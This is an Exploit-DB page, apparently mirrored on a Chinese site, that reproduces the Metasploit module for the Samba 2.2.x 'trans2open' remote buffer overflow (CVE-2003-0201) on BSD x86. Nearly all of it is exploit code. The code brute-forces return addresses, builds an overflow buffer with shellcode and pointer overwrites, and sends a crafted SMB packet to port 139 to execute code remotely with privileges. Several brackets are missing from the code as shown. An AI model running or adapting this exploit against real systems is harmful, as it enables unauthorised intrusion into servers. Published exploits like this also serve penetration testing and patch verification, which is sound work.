Samba 2.2.8 (BSD x86) – ‘trans2open’ Remote Overflow (Metasploit)

Exploit Database
103 阅读

作者： Metasploit

日期： 2010-06-17
类别：
- remote
平台：
- bsd_x86
来源：https://www.exploit-db.com/exploits/16880/

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# $Id: trans2open.rb 9552 2010-06-17 22:11:43Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::SMB

include Msf::Exploit::Brute

def initialize(info = {})

super(update_info(info,

'Name' => 'Samba trans2open Overflow (*BSD x86)',

'Description'=> %q{

This exploits the buffer overflow found in Samba versions

2.2.0 to 2.2.8. This particular module is capable of

exploiting the flaw on x86 Linux systems that do not

have the noexec stack option set.

'Author' => [ 'hdm', 'jduck' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9552 $',

'References' =>

[

[ 'CVE', '2003-0201' ],

[ 'OSVDB', '4469' ],

[ 'BID', '7294' ],

[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]

'Privileged' => true,

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'MinNops'=> 512,

'StackAdjustment' => -3500

'Platform' => 'bsd',

'Targets'=>

[

# tested OK - jjd:

# FreeBSD 5.0-RELEASE samba-2.2.7a.tbz md5:cc477378829309d9560b136ca11a89f8

[ 'Samba 2.2.x - Bruteforce',

{

'PtrToNonZero' => 0xbfbffff4, # near the bottom of the stack

'Offset' => 1055,

'Bruteforce' =>

{

'Start' => { 'Ret' => 0xbfbffdfc },

'Stop'=> { 'Ret' => 0xbfa00000 },

'Step'=> 256

}

'DefaultTarget'=> 0,

'DisclosureDate' => 'Apr 7 2003'

))

register_options(

[

Opt::RPORT(139)

], self.class)

end

def brute_exploit(addrs)

curr_ret = addrs['Ret']

begin

print_status("Trying return address 0x%.8x..." %curr_ret)

connect

smb_login

# This value *must* be 1988 to allow findrecv shellcode to work

# XXX: I'm not sure the above comment is true...

pattern = rand_text_english(1988)

# See the OSX and Solaris versions of this module for additional

# information.

# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2

# (rpmbuild -bp ; edited/reran config.status ; make)

eip_off = target['Offset']

ptr_to_non_zero = target['PtrToNonZero']

# Stuff the shellcode into the request

pattern[0, payload.encoded.length] = payload.encoded

# We want test true here, so we overwrite conn with a pointer

# to something non-zero.

# 222 if (IS_IPC(conn)) {

# 223return(ERROR(ERRSRV,ERRaccess));

# 224 }

pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')

# We want to avoid crashing on the following two derefences.

# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)

# 117 {

# 118 int outsize = set_message(outbuf,0,0,True);

# 119 int cmd = CVAL(inbuf,smb_com);

pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')

pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')

# This stream covers the framepointer and the return address

#pattern[1199, 400] = [curr_ret].pack('N') * 100

pattern[eip_off, 4] = [curr_ret].pack('V')

trans =

"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+

"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+

pattern

# puts "press any key"; $stdin.gets

sock.put(trans)

handler

disconnect

rescue EOFError

rescue => e

print_error("#{e}")

end